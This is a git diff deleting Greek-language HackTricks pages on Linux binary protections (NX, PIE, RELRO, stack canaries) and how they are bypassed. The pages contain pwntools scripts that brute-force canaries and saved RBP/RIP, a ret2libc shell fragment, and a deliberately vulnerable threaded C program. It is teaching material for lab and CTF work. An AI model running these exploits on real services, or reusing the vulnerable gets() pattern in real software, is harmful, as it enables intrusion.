-next(libc.search(b'/bin/sh\x00')) -) - -p.sendline(payload) - -p.interactive() -``` -## Άλλα παραδείγματα & Αναφορές - -- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του καναριού για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το καναρί, δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')` -- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bits, ενεργοποιημένο ASLR, χωρίς καναρί, υπερχείλιση στο stack από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα one gadget. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md deleted file mode 100644 index 4e0b86510..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md +++ /dev/null @@ -1,16 +0,0 @@ -# No-exec / NX - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια χαρακτηριστική ασφάλειας βασισμένη σε υλικό που έχει σχεδιαστεί για να **μειώνει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμοστεί και ενεργοποιηθεί, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και εκείνων που προορίζονται για **δεδομένα**, όπως η **στοίβα** και η **σωρός**. Η βασική ιδέα είναι να αποτραπεί η εκτέλεση κακόβουλου κώδικα από έναν επιτιθέμενο μέσω ευπαθειών buffer overflow, τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και κατευθύνοντας τη ροή εκτέλεσης σε αυτόν. - -## Bypasses - -- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../stack-overflow/rop-return-oriented-programing.md) για να παρακαμφθεί αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό. -- [**Ret2libc**](../stack-overflow/ret2lib/index.html) -- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) -- **Ret2...** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md deleted file mode 100644 index e7de2a7fd..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md +++ /dev/null @@ -1,32 +0,0 @@ -# PIE - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές τοποθεσίες μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις. - -Η τεχνική για την εκμετάλλευση αυτών των δυαδικών αρχείων έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μία διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους. - -Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\ -Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών. - -## Bypasses - -Για να παρακάμψετε το PIE είναι απαραίτητο να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό: - -- **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα **φορτωθεί πάντα στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος. -- Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP και EIP τιμές** στη στοίβα μέχρι να διαρρεύσετε τις σωστές: - -{{#ref}} -bypassing-canary-and-pie.md -{{#endref}} - -- Χρησιμοποιήστε μια αυθαίρετη ευπάθεια ανάγνωσης όπως [**format string**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). - -## References - -- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md deleted file mode 100644 index 07e8edd34..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ /dev/null @@ -1,84 +0,0 @@ -# BF Διευθύνσεις στη Στοίβα - -{{#include ../../../../banners/hacktricks-training.md}} - -**Εάν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.** - -![](<../../../../images/image (144).png>) - -> [!NOTE] -> Σημειώστε ότι **`checksec`** μπορεί να μην εντοπίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.\ -> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν διαπιστώσετε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. - -## Brute-Force Διευθύνσεις - -Για να παρακάμψετε το PIE χρειάζεστε να **διαρρεύσετε κάποια διεύθυνση**. Και αν το δυαδικό αρχείο δεν διαρρέει καμία διεύθυνση, το καλύτερο που μπορείτε να κάνετε είναι να **brute-force το RBP και το RIP που αποθηκεύονται στη στοίβα** στη ευάλωτη λειτουργία.\ -Για παράδειγμα, αν ένα δυαδικό αρχείο προστατεύεται χρησιμοποιώντας τόσο ένα **canary** όσο και **PIE**, μπορείτε να ξεκινήσετε το brute-forcing του canary, στη συνέχεια τα **επόμενα** 8 Bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 Bytes θα είναι το αποθηκευμένο **RIP.** - -> [!TIP] -> Υποτίθεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού αρχείου, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού αρχείου, θα είναι συνήθως η περίπτωση. - -Για να brute-force το RBP και το RIP από το δυαδικό αρχείο μπορείτε να καταλάβετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εκτυπώνει κάτι ή απλά δεν καταρρέει. Η **ίδια λειτουργία** που παρέχεται για το brute-forcing του canary μπορεί να χρησιμοποιηθεί για το brute-force του RBP και του RIP: -```python -from pwn import * - -def connect(): -r = remote("localhost", 8788) - -def get_bf(base): -canary = "" -guess = 0x0 -base += canary - -while len(canary) < 8: -while guess != 0xff: -r = connect() - -r.recvuntil("Username: ") -r.send(base + chr(guess)) - -if "SOME OUTPUT" in r.clean(): -print "Guessed correct byte:", format(guess, '02x') -canary += chr(guess) -base += chr(guess) -guess = 0x0 -r.close() -break -else: -guess += 1 -r.close() - -print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) -return base - -# CANARY BF HERE -canary_offset = 1176 -base = "A" * canary_offset -print("Brute-Forcing canary") -base_canary = get_bf(base) #Get yunk data + canary -CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary - -# PIE BF FROM HERE -print("Brute-Forcing RBP") -base_canary_rbp = get_bf(base_canary) -RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) -print("Brute-Forcing RIP") -base_canary_rbp_rip = get_bf(base_canary_rbp) -RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) -``` -Το τελευταίο πράγμα που χρειάζεστε για να νικήσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διαρροές** διευθύνσεων: το **RBP** και το **RIP**. - -Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στη στοίβα**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε τη συμβολοσειρά _"/bin/sh\x00"_ μέσα στη στοίβα. Για να υπολογίσετε την απόσταση μεταξύ του διαρρεύσαντος RBP και του shellcode σας, μπορείτε απλώς να βάλετε ένα **breakpoint μετά τη διαρροή του RBP** και να ελέγξετε **πού βρίσκεται το shellcode σας**, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP: -```python -INI_SHELLCODE = RBP - 1152 -``` -Από το **RIP** μπορείτε να υπολογίσετε τη **βάση διεύθυνση του εκτελέσιμου αρχείου PIE** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη αλυσίδα ROP**.\ -Για να υπολογίσετε τη βάση διεύθυνση απλά εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης: - -![](<../../../../images/image (145).png>) - -Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο **1 Byte και μισό** για να εντοπίσετε όλο τον κώδικα, τότε, η βάση διεύθυνση σε αυτή την περίπτωση θα είναι το **leaked RIP αλλά τελειώνοντας σε "000"**. Για παράδειγμα, αν διαρρεύσατε `0x562002970ecf` η βάση διεύθυνση είναι `0x562002970000` -```python -elf.address = RIP - (RIP & 0xfff) -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md deleted file mode 100644 index f44d31f3c..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md +++ /dev/null @@ -1,31 +0,0 @@ -# Relro - -{{#include ../../../banners/hacktricks-training.md}} - -## Relro - -**RELRO** σημαίνει **Relocation Read-Only**, και είναι μια λειτουργία ασφαλείας που χρησιμοποιείται σε δυαδικά αρχεία για να μετριάσει τους κινδύνους που σχετίζονται με τις **GOT (Global Offset Table)** υπεργραφές. Ας αναλύσουμε την έννοια σε δύο διακριτούς τύπους για σαφήνεια: **Partial RELRO** και **Full RELRO**. - -### **Partial RELRO** - -**Partial RELRO** ακολουθεί μια απλούστερη προσέγγιση για να ενισχύσει την ασφάλεια χωρίς να επηρεάζει σημαντικά την απόδοση του δυαδικού αρχείου. Με το **να τοποθετεί την GOT πάνω από τις μεταβλητές του προγράμματος στη μνήμη, το Partial RELRO στοχεύει να αποτρέψει τις υπερχειλίσεις buffer από το να φτάσουν και να διαφθείρουν την GOT**. - -Αυτό **δεν αποτρέπει την κακή χρήση της GOT** από **τυχαίες ευπάθειες εγγραφής**. - -### **Full RELRO** - -**Full RELRO** ενισχύει την προστασία **κάνοντάς την GOT εντελώς μόνο για ανάγνωση.** Μόλις ξεκινήσει το δυαδικό αρχείο, όλες οι διευθύνσεις συναρτήσεων επιλύονται και φορτώνονται στην GOT, στη συνέχεια, η GOT σημειώνεται ως μόνο για ανάγνωση, αποτρέποντας αποτελεσματικά οποιεσδήποτε τροποποιήσεις κατά τη διάρκεια της εκτέλεσης. - -Ωστόσο, η ανταλλαγή με το Full RELRO είναι σε όρους απόδοσης και χρόνου εκκίνησης. Επειδή χρειάζεται να επιλύσει όλα τα δυναμικά σύμβολα κατά την εκκίνηση πριν σημειώσει την GOT ως μόνο για ανάγνωση, **τα δυαδικά αρχεία με ενεργοποιημένο το Full RELRO μπορεί να έχουν μεγαλύτερους χρόνους φόρτωσης**. Αυτή η επιπλέον επιβάρυνση εκκίνησης είναι ο λόγος που το Full RELRO δεν είναι ενεργοποιημένο από προεπιλογή σε όλα τα δυαδικά αρχεία. - -Είναι δυνατόν να δούμε αν το Full RELRO είναι ενεργοποιημένο σε ένα δυαδικό αρχείο με: -```bash -readelf -l /proc/ID_PROC/exe | grep BIND_NOW -``` -## Bypass - -Αν είναι ενεργοποιημένο το Full RELRO, ο μόνος τρόπος να το παρακάμψετε είναι να βρείτε έναν άλλο τρόπο που δεν χρειάζεται να γράψετε στον πίνακα GOT για να αποκτήσετε αυθαίρετη εκτέλεση. - -Σημειώστε ότι το GOT της LIBC είναι συνήθως Partial RELRO, οπότε μπορεί να τροποποιηθεί με μια αυθαίρετη εγγραφή. Περισσότερες πληροφορίες στο [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md deleted file mode 100644 index b8b676c76..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md +++ /dev/null @@ -1,70 +0,0 @@ -# Stack Canaries - -{{#include ../../../../banners/hacktricks-training.md}} - -## **StackGuard και StackShield** - -**StackGuard** εισάγει μια ειδική τιμή γνωστή ως **canary** πριν από το **EIP (Extended Instruction Pointer)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει null, newline, EOF, carriage return) για να προστατεύσει από buffer overflows. Ωστόσο, οι συναρτήσεις όπως `recv()`, `memcpy()`, `read()`, και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Base Pointer)**. - -**StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας μια **Global Return Stack**, η οποία αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση διασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ των αποθηκευμένων και των πραγματικών διευθύνσεων επιστροφής για την ανίχνευση περιστατικών υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής σε σχέση με μια τιμή ορίου για να ανιχνεύσει αν το **EIP** δείχνει εκτός του αναμενόμενου χώρου δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming), ή ret2ret, υποδεικνύοντας ότι το StackShield δεν προστατεύει επίσης τις τοπικές μεταβλητές. - -## **Stack Smash Protector (ProPolice) `-fstack-protector`:** - -Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερους από 8 στοιχείων ή buffers εντός της δομής ενός χρήστη. - -Το **canary** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή `0xff0a0000`. Αποθηκεύεται στο **TLS (Thread Local Storage)**, επιτρέποντας στους κοινόχρηστους χώρους μνήμης μεταξύ νημάτων να έχουν παγκόσμιες ή στατικές μεταβλητές συγκεκριμένες για το νήμα. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη γονική διαδικασία, και οι παιδικές διαδικασίες μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάσουν τη γονική ή τις αδελφές διαδικασίες. Παρ' όλα αυτά, αν χρησιμοποιηθεί **`fork()` χωρίς να δημιουργηθεί ένα νέο canary, όλες οι διαδικασίες (γονικές και παιδικές) μοιράζονται το ίδιο canary**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το canary αποθηκεύεται στο `gs:0x14`, και στην **x86_64**, στο `fs:0x28`. - -Αυτή η τοπική προστασία εντοπίζει συναρτήσεις με buffers ευάλωτα σε επιθέσεις και εισάγει κώδικα στην αρχή αυτών των συναρτήσεων για να τοποθετήσει το canary, και στο τέλος για να επαληθεύσει την ακεραιότητά του. - -Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης. - -### Μήκη - -Στα `x64` binaries, το canary cookie είναι ένα **`0x8`** byte qword. Τα **πρώτα επτά bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte.** - -Στα `x86` binaries, το canary cookie είναι ένα **`0x4`** byte dword. Τα **πρώτα τρία bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte.** - -> [!CAUTION] -> Το λιγότερο σημαντικό byte και των δύο canaries είναι ένα null byte επειδή θα είναι το πρώτο στο stack που προέρχεται από χαμηλότερες διευθύνσεις και επομένως **οι συναρτήσεις που διαβάζουν συμβολοσειρές θα σταματήσουν πριν το διαβάσουν**. - -## Παράκαμψη - -**Διαρροή του canary** και στη συνέχεια επικάλυψη του με την δική του τιμή (π.χ. buffer overflow). - -- Αν το **canary είναι forked σε παιδικές διαδικασίες** μπορεί να είναι δυνατό να **brute-force** αυτό byte by byte: - -{{#ref}} -bf-forked-stack-canaries.md -{{#endref}} - -- Αν υπάρχει κάποια ενδιαφέρουσα **διαρροή ή ευπάθεια αυθαίρετης ανάγνωσης** στο binary μπορεί να είναι δυνατό να διαρρεύσει: - -{{#ref}} -print-stack-canary.md -{{#endref}} - -- **Επικάλυψη των αποθηκευμένων pointers στο stack** - -Το stack που είναι ευάλωτο σε stack overflow μπορεί να **περιέχει διευθύνσεις σε συμβολοσειρές ή συναρτήσεις που μπορούν να επαναγραφούν** προκειμένου να εκμεταλλευτούν την ευπάθεια χωρίς να χρειάζεται να φτάσουν στο canary του stack. Ελέγξτε: - -{{#ref}} -../../stack-overflow/pointer-redirecting.md -{{#endref}} - -- **Τροποποίηση και των δύο canary του master και του νήματος** - -Μια υπερχείλιση buffer σε μια προστατευμένη με canary λειτουργία νήματος μπορεί να χρησιμοποιηθεί για να τροποποιήσει το master canary του νήματος. Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι οι ίδιες (αν και τροποποιημένες). - -- **Τροποποίηση της εγγραφής GOT του `__stack_chk_fail`** - -Αν το binary έχει Partial RELRO, τότε μπορείτε να χρησιμοποιήσετε μια αυθαίρετη εγγραφή για να τροποποιήσετε την εγγραφή GOT του `__stack_chk_fail` ώστε να είναι μια ψεύτικη συνάρτηση που δεν μπλοκάρει το πρόγραμμα αν το canary τροποποιηθεί. - -## Αναφορές - -- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) -- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bits, no PIE, nx, modify thread and master canary. -- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -- 64 bits, no PIE, nx, write-what-where primitive. Modify GOT entry of `__stack_chk_fail`. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md deleted file mode 100644 index bcfd768f6..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ /dev/null @@ -1,218 +0,0 @@ -# BF Forked & Threaded Stack Canaries - -{{#include ../../../../banners/hacktricks-training.md}} - -**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.** - -![](<../../../../images/image (144).png>) - -> [!NOTE] -> Σημειώστε ότι **`checksec`** μπορεί να μην εντοπίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να εντοπίσει τη λειτουργία.\ -> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στο stack στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. - -## Brute force Canary - -Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθορίζετε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), γιατί κάθε φορά που συνδέεστε σε αυτό **το ίδιο canary θα χρησιμοποιείται**. - -Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**): - -### Example 1 - -Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits. -```python -from pwn import * - -def connect(): -r = remote("localhost", 8788) - -def get_bf(base): -canary = "" -guess = 0x0 -base += canary - -while len(canary) < 8: -while guess != 0xff: -r = connect() - -r.recvuntil("Username: ") -r.send(base + chr(guess)) - -if "SOME OUTPUT" in r.clean(): -print "Guessed correct byte:", format(guess, '02x') -canary += chr(guess) -base += chr(guess) -guess = 0x0 -r.close() -break -else: -guess += 1 -r.close() - -print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) -return base - -canary_offset = 1176 -base = "A" * canary_offset -print("Brute-Forcing canary") -base_canary = get_bf(base) #Get yunk data + canary -CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary -``` -### Παράδειγμα 2 - -Αυτό έχει υλοποιηθεί για 32 bits, αλλά αυτό θα μπορούσε να αλλάξει εύκολα σε 64 bits.\ -Επίσης σημειώστε ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και το payload. -```python -from pwn import * - -# Here is the function to brute force the canary -def breakCanary(): -known_canary = b"" -test_canary = 0x0 -len_bytes_to_read = 0x21 - -for j in range(0, 4): -# Iterate up to 0xff times to brute force all posible values for byte -for test_canary in range(0xff): -print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - -# Send the current input size -target.send(len_bytes_to_read.to_bytes(1, "little")) - -# Send this iterations canary -target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - -# Scan in the output, determine if we have a correct value -output = target.recvuntil(b"exit.") -if b"YUM" in output: -# If we have a correct value, record the canary value, reset the canary value, and move on -print(" - next byte is: " + hex(test_canary)) -known_canary = known_canary + test_canary.to_bytes(1, "little") -len_bytes_to_read += 1 -break - -# Return the canary -return known_canary - -# Start the target process -target = process('./feedme') -#gdb.attach(target) - -# Brute force the canary -canary = breakCanary() -log.info(f"The canary is: {canary}") -``` -## Νήματα - -Τα νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο καναρίνι**, επομένως θα είναι δυνατό να **brute-force** ένα καναρίνι αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση. - -Μια υπερχείλιση μνήμης σε μια λειτουργία με νήματα που προστατεύεται με καναρίνι μπορεί να χρησιμοποιηθεί για να τροποποιήσει το κύριο καναρίνι της διαδικασίας. Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο καναρίνια που είναι τα ίδια (αν και τροποποιημένα). - -### Παράδειγμα - -Το παρακάτω πρόγραμμα είναι ευάλωτο σε Υπερχείλιση Μνήμης, αλλά έχει μεταγλωττιστεί με καναρίνι: -```c -#include -#include -#include -#include - -// gcc thread_canary.c -no-pie -l pthread -o thread_canary - -void win() { -execve("/bin/sh", NULL, NULL); -} - -void* vuln() { -char data[0x20]; -gets(data); -} - -int main() { -pthread_t thread; - -pthread_create(&thread, NULL, vuln, NULL); -pthread_join(thread, NULL); - -return 0; -} -``` -Σημειώστε ότι το `vuln` καλείται μέσα σε ένα νήμα. Στο GDB μπορούμε να ρίξουμε μια ματιά στο `vuln`, συγκεκριμένα, στο σημείο όπου το πρόγραμμα καλεί το `gets` για να διαβάσει δεδομένα εισόδου: -```bash -gef> break gets -Breakpoint 1 at 0x4010a0 -gef> run -... -gef> x/10gx $rdi -0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 -0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 -0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 -0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 -0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 -``` -Η παραπάνω αναπαριστά τη διεύθυνση του `data`, όπου το πρόγραμμα θα γράψει την είσοδο του χρήστη. Ο stack canary βρίσκεται στη διεύθυνση `0x7ffff7d7ee48` (`0x493fdc653a156800`), και η διεύθυνση επιστροφής είναι στη διεύθυνση `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`): -```bash -gef> telescope $rdi 8 -n -0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi -0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 -0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 -0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 -0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 -0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary -0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp -0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] -``` -Σημειώστε ότι οι διευθύνσεις της στοίβας δεν ανήκουν στην πραγματική στοίβα: -```bash -gef> vmmap stack -[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] -Start End Size Offset Perm 